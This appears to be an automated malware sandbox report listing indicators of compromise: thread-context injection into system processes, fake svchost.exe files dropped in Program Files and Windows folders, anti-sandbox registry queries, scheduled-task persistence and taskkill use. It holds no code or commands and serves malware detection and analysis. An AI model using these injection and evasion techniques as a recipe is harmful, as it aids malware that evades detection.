Suspicious use of SetThreadContext 13 IoCs

Processes:

Tue19f40f8518b9946.exeTue193e530416b51740a.exeTue19d1fc7d2654d7a.exeIzqSVV2MxS0q1xEXzN5eWDIl.exeMegogoSell_crypted.exeConhost.exeSwxyeNJIl0r718bIrtPL8xPo.exeWWAHost.exeu01mncpPd05JugUqOyeMRfZg.exe1CC6.exehepatocyte.exe478F.exeBA11.exe

description	pid	process	target process
PID 2724 set thread context of 5184	2724	Tue19f40f8518b9946.exe	Tue19f40f8518b9946.exe
PID 3280 set thread context of 5204	3280	Tue193e530416b51740a.exe	Tue193e530416b51740a.exe
PID 4140 set thread context of 5212	4140	Tue19d1fc7d2654d7a.exe	Tue19d1fc7d2654d7a.exe
PID 5368 set thread context of 3208	5368	IzqSVV2MxS0q1xEXzN5eWDIl.exe	Explorer.EXE
PID 1888 set thread context of 6284	1888	MegogoSell_crypted.exe	AppLaunch.exe
PID 4584 set thread context of 5948	4584	Conhost.exe	fXStM6cdEAEjvH7s1ab7Gaju.exe
PID 3788 set thread context of 6668	3788	SwxyeNJIl0r718bIrtPL8xPo.exe	SwxyeNJIl0r718bIrtPL8xPo.exe
PID 6460 set thread context of 3208	6460	WWAHost.exe	Explorer.EXE
PID 5064 set thread context of 7236	5064	u01mncpPd05JugUqOyeMRfZg.exe	ngentask.exe
PID 7784 set thread context of 6640	7784	1CC6.exe	1CC6.exe
PID 5700 set thread context of 7448	5700	hepatocyte.exe	CasPol.exe
PID 4048 set thread context of 8096	4048	478F.exe	478F.exe
PID 1744 set thread context of 5732	1744	BA11.exe	CasPol.exe

Drops file in Program Files directory 17 IoCs

Processes:

2AVoW_HFD3n9JaTjdbifMQHR.exesetup.tmpu01mncpPd05JugUqOyeMRfZg.exeDYbALA.exe5aKYEtchxxSMB6BZybdKWpgt.exe

description	ioc	process
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	2AVoW_HFD3n9JaTjdbifMQHR.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe	setup.tmp
File created	C:\Program Files\Common Files\System\sememe\svchost.exe	u01mncpPd05JugUqOyeMRfZg.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\Meqomotiko.exe.config	DYbALA.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe	2AVoW_HFD3n9JaTjdbifMQHR.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	2AVoW_HFD3n9JaTjdbifMQHR.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	5aKYEtchxxSMB6BZybdKWpgt.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-PN5TC.tmp	setup.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp
File created	C:\Program Files (x86)\Windows Photo Viewer\Meqomotiko.exe	DYbALA.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	2AVoW_HFD3n9JaTjdbifMQHR.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	5aKYEtchxxSMB6BZybdKWpgt.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-EF200.tmp	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-K8CAG.tmp	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-MLTH4.tmp	setup.tmp

Drops file in Windows directory 11 IoCs

Processes:

svchost.exesvchost.exeBA11.exeEpnLZjlgV8Eatb6BHlVQKXqJ.exe

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File created	C:\Windows\System\xxx1.bak	svchost.exe
File created	C:\Windows\Cursors\veejays\svchost.exe	BA11.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\System\xxx1.bak	EpnLZjlgV8Eatb6BHlVQKXqJ.exe
File created	C:\Windows\System\svchost.exe	EpnLZjlgV8Eatb6BHlVQKXqJ.exe
File opened for modification	C:\Windows\System\svchost.exe	EpnLZjlgV8Eatb6BHlVQKXqJ.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 30 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4620	1584	WerFault.exe	setup_install.exe
5804	4632	WerFault.exe	Tue19cef5687a.exe
5140	5996	WerFault.exe	rundll32.exe
5348	1448	WerFault.exe	Tue193129b31e741ef3.exe
5412	3788	WerFault.exe	Tue1968b7ee9058232e8.exe
2920	1888	WerFault.exe	Tue192c34b1c2f5.exe
3976	5732	WerFault.exe	Bo6BtjIihIbGyw2RmAv2QVBE.exe
5868	1968	WerFault.exe	yUY4neIpqF3oY1ihzsyYJB7Q.exe
3360	3772	WerFault.exe	LFC0irZWiM5oQDpLBzf5Wsxf.exe
2564	916	WerFault.exe	5BZm11YI65feAhF6R9ARF7S5.exe
6660	4484	WerFault.exe	MoIYMqY7itStW6hWPmAWZExs.exe
3848	4244	WerFault.exe	L9Sq6UTibaLuQEqBy00aF_GC.exe
3928	6672	WerFault.exe	WW1Soft.exe
3524	4652	WerFault.exe	rundll32.exe
6208	5404	WerFault.exe	setup_2.exe
5648	6632	WerFault.exe	chrome1.exe
3408	3920	WerFault.exe	chrome2.exe
484	7644	WerFault.exe	8D54.exe
2792	5236	WerFault.exe	DV0TDEfAz_6bg7ytiF40f2bk.exe
3624	5772	WerFault.exe	EpnLZjlgV8Eatb6BHlVQKXqJ.exe
5228	5052	WerFault.exe	OTStyg0VgBV152P48JKfTAX0.exe
3100	7248	WerFault.exe	39F.exe
1760	6512	WerFault.exe	rundll32.exe
2020	6324	WerFault.exe	AAFD.exe
7668	500	WerFault.exe	EE7F.exe
4416	7660	WerFault.exe	2A31.exe
3536	3200	WerFault.exe	2986.exe
7704	3200	WerFault.exe	2986.exe
7680	3156	WerFault.exe	574D.exe
7912	2064	WerFault.exe	933E.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

1CC6.exefXStM6cdEAEjvH7s1ab7Gaju.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1CC6.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1CC6.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1CC6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	fXStM6cdEAEjvH7s1ab7Gaju.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	fXStM6cdEAEjvH7s1ab7Gaju.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	fXStM6cdEAEjvH7s1ab7Gaju.exe

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exesvchost.exeWerFault.exeWerFault.exenetsh.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	netsh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	netsh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

3996 schtasks.exe
6324 schtasks.exe
5248 schtasks.exe

pid	process
3996	schtasks.exe
6324	schtasks.exe
5248	schtasks.exe

Enumerates system info in registry 2 TTPs 60 IoCs

Query Registry

System Information Discovery

Processes:

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	netsh.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	netsh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command-Line Interface
T1059

Processes:

ipconfig.exe

pid process

1940 ipconfig.exe
Kills process with taskkill 6 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

5652 taskkill.exe
6196 taskkill.exe
1296 taskkill.exe
1660 taskkill.exe
428 taskkill.exe
5560 taskkill.exe

pid	process
1940	ipconfig.exe

pid	process
5652	taskkill.exe
6196	taskkill.exe
1296	taskkill.exe
1660	taskkill.exe
428	taskkill.exe
5560	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

WaaSMedicAgent.exeWaaSMedicAgent.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
